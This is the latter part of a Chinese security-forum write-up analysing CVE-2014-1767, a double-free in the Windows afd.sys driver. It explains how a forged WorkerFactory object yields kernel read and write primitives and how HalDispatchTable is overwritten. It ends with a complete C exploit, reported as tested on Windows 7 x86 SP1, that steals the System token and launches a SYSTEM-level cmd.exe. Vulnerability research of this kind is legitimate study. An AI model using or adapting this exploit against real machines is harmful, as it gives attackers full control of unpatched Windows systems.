我们通过LoadLibrary和GetProcAddress得到了HalDispatchTable的地址, 然后利用NtQueryEaFile函数伪造一个WorkerFactory对象从而构造写原语, 利用构造的写原语覆盖了系统原本的HalQuerySystemInformation调用为我们Shellcode函数的地址。

 

到这里, 理论上我们只需要触发HalQuerySystemInformation调用即可执行我们的Shellcode了,如下(参考2):

1
2
3
// 调用shellcode 
DWORD Interval; 
MyNtQueryIntervalProfile(2, &Interval);

但是为了避免系统崩溃, 在Shellcode最后, 我们还需要将原来的HalQuerySystemInformation函数恢复回去。

 

那么,如何得到原HalQuerySystemInformation的函数地址呢?

读原语

通过上文的介绍, 我们依然利用WorkerFactory对象构造读语, 这次我们把目光转移到NtQueryInformationWorkerFactory上:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
NTSTATUS __stdcall NtQueryInformationWorkerFactory(void *a1, int a2, ULONG a3, int a4, _DWORD *a5) 
  if ( PreviousMode )
  {
     v7 = (char *)a3;
  }
  else
  {
    v7 = (char *)a3;
  }
  ………… 
  result = ObReferenceObjectByHandle( 
             a1, 
             8u
             ExpWorkerFactoryObjectType, 
             AccessMode[0], 
             (PVOID *)&WorkerFactoryObject, 
             0); 
  if ( result >= 0
  
    ………… 
    v10 = (char *)WorkerFactoryObject; 
    ………… 
    *(_DWORD *)v16 = *((_DWORD *)v10 + 2); 
    ………… 
    // 0x19 * sizeof(DWORD *) = 0x64 
    *(_DWORD *)&v16[0x50] = *(_DWORD *)(*((_DWORD *)v10 + 0x19) + 0xB4); // 读原语构造点 
    ………… 
    // 赋值0x60大小的内存
    qmemcpy(v7, v16, 0x60u);
  
}

可以看到, 该函数中, 有一个解引用, 会将WorkerFactoryObject+0x64处的值+0xB4后, 再解引用, 赋值到返回内容的0x50位置处, 最终返回的内存大小为0x60。这里需要注意上面的v10是DWORD , 所以(DWORD )v10 + 0x19等于(CHAR *)v10 + 0x64。

 

因此, 如果我们想要得到原来的HalQuerySystemInformation函数地址, 需要HalDispatchTable + 4 - 0xB4, 因此Exploit中的处理逻辑为(参考2):

1
2
3
4
5
6
7
8
9
10
BYTE WorkerFactory[0xA0] = { 0 }; 
……… 
PBYTE pObj = WorkerFactory + 0x28
*(DWORD*)(pObj + 0x64) = MyHalDispatchTable - 0xB4 + 4
……… 
//读 oldHaliQuerySystemInformation 
//内核会返回0x60字节的数据  需要的数据被放在  kernelRetMem+0x50 
BYTE kernelRetMem[0x60] = { 0 }; 
MyNtQueryInformationWorkerFactory(hWorkerFactory, 7, kernelRetMem, 0x60, NULL); 
oldHaliQuerySystemInformation = *(DWORD*)(kernelRetMem + 0x50);

这样就得到了原本HalQuerySystemInformation的地址, 我们只需要在Shellcode最后恢复他即可。

小节2

对整个代码回顾, 关键脉络如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
DWORD oldHaliQuerySystemInformation = NULL; 
DWORD MyHalDispatchTable = NULL; 
 
NTSTATUS __stdcall Shellcode(int a,int b,int c,int d) 
  ………… // 省略的这部分为功能为提取System权限进程的TOKEN到当前进程 
  //恢复Hook 
  *(DWORD*)(MyHalDispatchTable + 4) = oldHaliQuerySystemInformation; 
 
  return 0
 
int main(int argc, char** argv) 
  // 第一次释放MDL 
  DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x30, NULL, 0, NULL, NULL); 
  ………… 
  // 创建0xA0大小的WorkerFactory对象, 和上面的MDL位于同一内存位置 
  MyNtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, (HANDLE)-1, NULL, NULL, 0, 0, 0); 
  ………… 
  // 释放WorkerFactory对象 
  DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x10, NULL, 0, NULL, NULL); 
  ………… 
  // 再次在同一内存创建伪造的WorkerFactory对象 
  MyNtQueryEaFile(INVALID_HANDLE_VALUE, &IoStatus, 0, 0, 0, WorkerFactory, 0xA0 - 0x4, 0, 0); 
  ………… 
  // 读原语,获取原HaliQuerySystemInformation函数地址 
  oldHaliQuerySystemInformation = *(DWORD*)(kernelRetMem + 0x50); 
  …………
  // 写原语,用Shellcode替换原HaliQuerySystemInformation 
  MyNtSetInformationWorkerFactory(hWorkerFactory, 8, &scAddr, 4);
  ………… 
  // 导致Shellcode执行, 当前进程的TOKEN被替换为System权限的TOKEN 
  MyNtQueryIntervalProfile(2, &Interval); 
  // 创建一个system权限的cmd, 继承System权限Token 
  ShellExecuteA(NULL, "open", "cmd.exe", NULL, NULL, SW_SHOW); 
}

最后一个细节

整个漏洞,最核心的技巧说白了其实是通过反复申请和释放同一块内存来完成的。

 

通过上文的分析我们可知,这块内存的大小即是WorkerFactory对象的大小, 但是有一个细节是最开始, 也就是afd!TransmitFile调用是如何申请一块WorkerFactory大小的内存呢?

 

让我们回到第一次DeviceIoControl调用的内存分配处:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
MACRO_STATUS __fastcall AfdTransmitFile(PIRP Irp, _IO_STACK_LOCATION *location) 
  v50 = location; 
  ………… 
  qmemcpy(&InputBuffer, v50->Parameters.Type3InputBuffer, sizeof(InputBuffer)); 
  ………… 
  if ( (*(_DWORD *)&FsContext->NonBlocking & 0x200) != 0
    v6 = AfdTliGetTpInfo(3u);                   // <-- step in 
  ………… 
  v7 = v6; 
  ………… 
  Length = InputBuffer.Length; 
  if ( InputBuffer.Length ) 
  
    v51 = &v7->UnkObjArray[*p_UnkCounter]; 
    v11 = v51; 
    ………… 
    if ( (InputBuffer.field_28 & 0x10) != 0
    
      v11->Status = STATUS_GUARD_PAGE_VIOLATION; 
      Mdl = IoAllocateMdl(VirtualAddress, Length, 0, 1u, 0); 
      v11->MdlAddress = Mdl; 
      ………… 
    
  
  ………… 
}

所以所有关键参数都来自于我们的输入, 其中控制大小的参数会传递给IoAllocateMdl用于分配内存。让我们看一下IoAllocateMdl函数分配内存的细节:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
PMDL __stdcall IoAllocateMdl( PVOID VirtualAddress, ULONG Length,  
        BOOLEAN SecondaryBuffer, BOOLEAN ChargeQuota, PIRP Irp) 
  ………… 
  v6 = ((Length & 0xFFF) + ((unsigned __int16)VirtualAddress & 0xFFF) + 4095) >> 12
  v7 = v6 + (Length >> 12); 
  v15 = (unsigned __int16)VirtualAddress & 0xFFF
  if ( v7 > 0x11
  
    v8 = 4 * v7 + 28
    goto LABEL_8; 
  
  ………… 
  if ( !result ) 
  
    v8 = 96; // 不会执行这句 
LABEL_8: 
    result = (PMDL)ExAllocatePoolWithTag(NonPagedPool, v8, 0x206C644Du); 
    if ( !result ) 
      return result; 
  
  ………… 
  return result; 
}

可见作为长度传递给内存分配函数ExAllocatePoolWithTag的参数v8由VirtualAddress和Length计算而来, 而VirtualAddress和Length是受我们控制的。我们可以用以下代码暴力计算:

1
2
3
4
5
6
7
8
9
VirtualAddress = 0x710DDDD 
TargetSize = 0xA0  #WorkerFactory对象大小 
 
for Length in range(0, 0xFFFFFFFF, 1): 
    extra_page = int((int(Length & 0xFFF) + int(VirtualAddress & 0xFFF) + 0xFFF) >> 12
    v7 = extra_page + int(Length >> 12
    if TargetSize == (4 * v7 + 0x1C): 
        print('%X <=> %d' % (Length, Length)) 
        break

其结果如下:

 

图片描述

 

最终得到的值和参考2中Exploit的Length其实是不相等的, 参考2中的Length计算后为0x20000, 经过实际测试, 使用我们计算得到的值0x1F224也可以成功提权。

 

实际上, 如果将上述代码最后的break去掉, 我们可以得到非常多可用的值, 0x20000就在其中。

Put it all togeher

以下利用代码来自于参考2, 仅对上面提到的Length做了修改, 且在Windows 7 x86 SP1上测试提权成功 :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
#include <stdio.h> 
#include <windows.h> 
 
#pragma comment(lib,"Ws2_32.lib") 
 
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) 
#define STATUS_INFO_LENGTH_MISMATCH  ((NTSTATUS)0xC0000004L) 
 
typedef NTSTATUS(__stdcall* __NtCreateWorkerFactory)(PHANDLE, ACCESS_MASK, PVOID, HANDLE, HANDLE, PVOID, PVOID, ULONG, SIZE_T, SIZE_T); 
typedef NTSTATUS(__stdcall* __NtQueryEaFile)(HANDLE, PVOID, PVOID, ULONG, BOOLEAN, PVOID, ULONG, PULONG, BOOLEAN); 
typedef NTSTATUS(__stdcall* __NtQuerySystemInformation)(ULONG, PVOID, ULONG, PULONG); 
typedef NTSTATUS(__stdcall* __NtSetInformationWorkerFactory)(HANDLE, ULONG, PVOID, ULONG); 
typedef NTSTATUS(__stdcall* __NtQueryIntervalProfile)(DWORD, PULONG); 
typedef NTSTATUS(__stdcall* __PsLookupProcessByProcessId)(DWORD, LPVOID*); 
typedef NTSTATUS(__stdcall* __NtQueryInformationWorkerFactory)(HANDLE, LONG, PVOID, ULONG, PULONG); 
 
 
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY { 
    HANDLE Section; 
    PVOID  MappedBase; 
    PVOID  Base; 
    ULONG  Size; 
    ULONG  Flags; 
    USHORT LoadOrderIndex; 
    USHORT InitOrderIndex; 
    USHORT LoadCount; 
    USHORT OffsetToFileName; 
    CHAR   ImageName[256]; 
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY; 
 
typedef struct _SYSTEM_MODULE_INFORMATION { 
    ULONG Count; 
    SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; 
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION; 
 
typedef struct _IO_STATUS_BLOCK { 
    union { 
        NTSTATUS Status; 
        PVOID    Pointer; 
    }; 
    ULONG_PTR Information; 
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK; 
 
 
__NtCreateWorkerFactory                MyNtCreateWorkerFactory = NULL; 
__NtQueryEaFile                        MyNtQueryEaFile = NULL; 
__NtQuerySystemInformation            MyNtQuerySystemInformation = NULL; 
__NtSetInformationWorkerFactory        MyNtSetInformationWorkerFactory = NULL; 
__NtQueryIntervalProfile            MyNtQueryIntervalProfile = NULL; 
__PsLookupProcessByProcessId        MyPsLookupProcessByProcessId = NULL; 
__NtQueryInformationWorkerFactory    MyNtQueryInformationWorkerFactory = NULL; 
 
DWORD MyHalDispatchTable = NULL; 
DWORD oldHaliQuerySystemInformation = NULL; 
HANDLE hWorkerFactory = NULL; 
typedef DWORD PEPROCESS; 
 
 
DWORD GetFuncAddr() 
    //获取ntdll中的导出函数 
    HMODULE hNtdll; 
    hNtdll = GetModuleHandle("ntdll.dll"); 
    if (hNtdll == NULL) 
    
        printf("GetModuleHandle Failed %p\n", GetLastError()); 
        return 0
    
 
    MyNtCreateWorkerFactory = GetProcAddress(hNtdll, "NtCreateWorkerFactory"); 
    MyNtQueryEaFile = GetProcAddress(hNtdll, "NtQueryEaFile"); 
    MyNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation"); 
    MyNtSetInformationWorkerFactory = GetProcAddress(hNtdll, "NtSetInformationWorkerFactory"); 
    MyNtQueryIntervalProfile = GetProcAddress(hNtdll, "NtQueryIntervalProfile"); 
    MyNtQueryInformationWorkerFactory = GetProcAddress(hNtdll, "ZwQueryInformationWorkerFactory"); 
 
    if (!MyNtCreateWorkerFactory || !MyNtQueryEaFile || !MyNtQuerySystemInformation || !MyNtSetInformationWorkerFactory || 
        !MyNtQueryIntervalProfile || !MyNtQueryInformationWorkerFactory) 
    
        printf("GetProcAddress Failed %p\n", GetLastError()); 
        return 0
    
 
    //获取nt基址PsLookupProcessByProcessId与HalDispatchTable地址 
    NTSTATUS Status; 
    DWORD cbNeed; 
 
    Status = MyNtQuerySystemInformation(11, NULL, 0, &cbNeed); 
    if (Status != STATUS_INFO_LENGTH_MISMATCH) 
    
        printf("MyNtQuerySystemInformation Failed %p\n", Status); 
        return 0
    
    PSYSTEM_MODULE_INFORMATION Info = (PSYSTEM_MODULE_INFORMATION)malloc(cbNeed); 
 
    Status = MyNtQuerySystemInformation(11, Info, cbNeed, &cbNeed); 
    if (!NT_SUCCESS(Status)) 
    
        printf("MyNtQuerySystemInformation Failed %p\n", Status); 
        return 0
    
 
    DWORD Ntbase = Info->Module[0].Base; 
    HMODULE Mynt = LoadLibrary(Info->Module[0].ImageName + Info->Module[0].OffsetToFileName); 
    if (Mynt == NULL) 
    
        printf("LoadLibrary Nt Failed\n" ); 
        return 0
    
 
    MyHalDispatchTable = (ULONG)GetProcAddress(Mynt, "HalDispatchTable") - (ULONG)Mynt + Ntbase; 
    if (MyHalDispatchTable == NULL) 
    
        printf("Get HalDispatchTable Failed %p\n", GetLastError()); 
        return 0
    
 
    MyPsLookupProcessByProcessId = (ULONG)GetProcAddress(Mynt, "PsLookupProcessByProcessId") - (ULONG)Mynt + Ntbase; 
    if (MyPsLookupProcessByProcessId == NULL) 
    
        printf("Get PsLookupProcessByProcessId  Failed %p\n", GetLastError()); 
        return 0
    
 
    return 1
 
 
NTSTATUS __stdcall Shellcode(int a,int b,int c,int d) 
    //获取自己和系统进程的EPROCESS 
    PEPROCESS pCur, pSys; 
    DWORD ObjTable; 
    MyPsLookupProcessByProcessId(GetCurrentProcessId(), &pCur); 
    MyPsLookupProcessByProcessId(4, &pSys); 
 
    //提权 0xF8为token位置 
    *(DWORD*)(pCur + 0xF8) = *(DWORD*)(pSys + 0xF8); 
 
    //绕过清理句柄 
    ObjTable = *(DWORD*)(pCur + 0xF4); 
    *(DWORD*)(ObjTable + 0x30) -= 1
    ObjTable = *(DWORD*)ObjTable; 
    *(DWORD*)(ObjTable + ((DWORD)hWorkerFactory * 2)) = 0
 
    //恢复Hook 
    *(DWORD*)(MyHalDispatchTable + 4) = oldHaliQuerySystemInformation; 
 
    return 0
 
int main(int argc, char** argv) 
    //获取需要的所有地址 
    if (!GetFuncAddr()) 
    
        printf("GetFuncAddr Failed \n"); 
        return 0
    
 
    DWORD mdlSize = 0xA0
    DWORD virtualAddress = 0x710DDDD
    DWORD length = 0x1F224
 
 
    //这里初始化第一次IO控制的inputbuf  以达到第一次释放的目标 
    static BYTE inbuf1[0x30]; 
    memset(inbuf1, 0, sizeof(inbuf1)); 
    *(ULONG*)(inbuf1 + 0x18) = virtualAddress; 
    *(ULONG*)(inbuf1 + 0x1C) = length; 
    *(ULONG*)(inbuf1 + 0x28) = 1
 
    //这里初始化第二次IO控制的inputbuf  以到达第二次释放的目标 
    static BYTE inbuf2[0x10]; 
    memset(inbuf2, 0, sizeof(inbuf2)); 
    *(ULONG*)inbuf2 = 1
    *(ULONG*)(inbuf2 + 4) = 0x0AAAAAAA
 
    WSADATA         WSAData; 
    SOCKET         s; 
    SOCKADDR_IN  sa; 
    int             ierr; 
 
    WSAStartup(0x2, &WSAData); 
    s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); 
 
    memset(&sa, 0, sizeof(sa)); 
    sa.sin_port = htons(135); 
    sa.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); 
    sa.sin_family = AF_INET; 
    //创建会调用到afd.sys漏洞函数的socket句柄 
    ierr = connect(s, (const struct sockaddr*)&sa, sizeof(sa)); 
 
    // 释放第一次申请的mdl结构,大小为0xA0 
    DeviceIoControl((HANDLE)s, 0x1207F, (LPVOID)inbuf1, 0x30, NULL, 0, NULL, NULL); 
 
    // 创建一个 WorkerFactory Object 来占坑释放的 mdl 0xA0 的空间 
    HANDLE hCompletionPort = CreateIoCompletionPort(INVALID_HANDLE_VALUE, NULL, 1337, 4); 
 
    //创建WorkerFactory对象 
    DebugBreak(); 
    DWORD Status = MyNtCreateWorkerFactory(&hWorkerFactory, GENERIC_ALL, NULL, hCompletionPort, (HANDLE)-1, NULL, NULL, 0, 0, 0); 
 
    // 第二次释放  释放掉的内存是 WorkerFactory Object 
    DeviceIoControl((HANDLE)s, 0x120C3, (LPVOID)inbuf2, 0x10, NULL, 0, NULL, NULL); 
 
    //开始操作WorkerFactory Object 
    BYTE WorkerFactory[0xA0] = { 0 }; 
 
    //申请的时候把对象前0x28字节复制过来 Handle置为NULL 
    BYTE ObjHead[0x28] = {        0x00, 0x00, 0x00, 0x00, 0xA8, 0x00, 0x00, 0x00,    
                                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
 
                                0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,  
                                0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x08, 0x00
                                0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };  
    memcpy(WorkerFactory, ObjHead, 0x28); 
 
    //任意读的地址  *(*(obj+0x64)+0xB4) = MyHalDispatchTable + 4 
    PBYTE pObj = WorkerFactory + 0x28
    *(DWORD*)(pObj + 0x64) = MyHalDispatchTable - 0xB4 + 4
 
    //任意写   把 *arg3 的内容 写入到  *( *(*object+0x10)+0x1C
    //*(*object+0x10)+0x1C = MyHalDispatchTable + 4 
    //因为 *object 所以没办法在本对象内构造数据  
    //所以需要另一个内存来构造数据 
    BYTE y[0x14] = { 0 }; 
    *(DWORD*)pObj = (DWORD)y; 
    PBYTE py = y; 
    //现在有一个内存y    *(y + 0x10) + 0x1C = MyHalDispatchTable + 4 
    //所以 *(y+0x10) = MyHalDispatchTable + 4 - 0x1C  即可 
    *(DWORD*)(py + 0x10) = MyHalDispatchTable + 4 - 0x1C
 
    //现在把伪造的对象拷贝到释放掉的内存 
    IO_STATUS_BLOCK IoStatus; 
    MyNtQueryEaFile(INVALID_HANDLE_VALUE, &IoStatus, 0, 0, 0, WorkerFactory, 0xA0 - 0x4, 0, 0); 
 
    //读 oldHaliQuerySystemInformation 
    //内核会返回0x60自己的数据  需要的数据被放在  kernelRetMem+0x50 
    BYTE kernelRetMem[0x60] = { 0 }; 
    MyNtQueryInformationWorkerFactory(hWorkerFactory, 7, kernelRetMem, 0x60, NULL); 
    oldHaliQuerySystemInformation = *(DWORD*)(kernelRetMem + 0x50); 
 
    //写shellcode地址到HalDispatchTable + 4 
    DWORD scAddr = (DWORD)Shellcode; 
    MyNtSetInformationWorkerFactory(hWorkerFactory, 8, &scAddr, 4); 
 
    //调用shellcode 
    DWORD Interval; 
    MyNtQueryIntervalProfile(2, &Interval); 
 
    //提权后创建一个system权限的cmd 
    ShellExecuteA(NULL, "open", "cmd.exe", NULL, NULL, SW_SHOW); 
 
    system("pause"); 
    return 0
}

写在最后

其实这篇文章今年3月份的时候就已经开始写了, 期间因为手头的事情太多, 中间搁置了好长一段时间。后来发现近期又有好几篇这个漏洞的分析文章,于是就又捡起来写完, 算是凑个热闹。

 

写作过程中参考了很多前辈的文章, 也引用了部分前人的分析成果。本文涉及到的afd.idb、Exploit.c、Poc.c均已上传到Github参考3。

 

最后, 希望自己懒癌可以少犯病, 多做一些有意义的事情 ;)

参考

  1. Pwn2Own_2014_AFD.sys_privilege_escalation
  2. 震惊!万字长文详解CVE-2014-1767提权漏洞分析与利用(x86x64)
  3. 本文涉及到的文件

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2022-6-29 20:09 被Hacksign编辑 ,原因:
收藏
免费 4
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回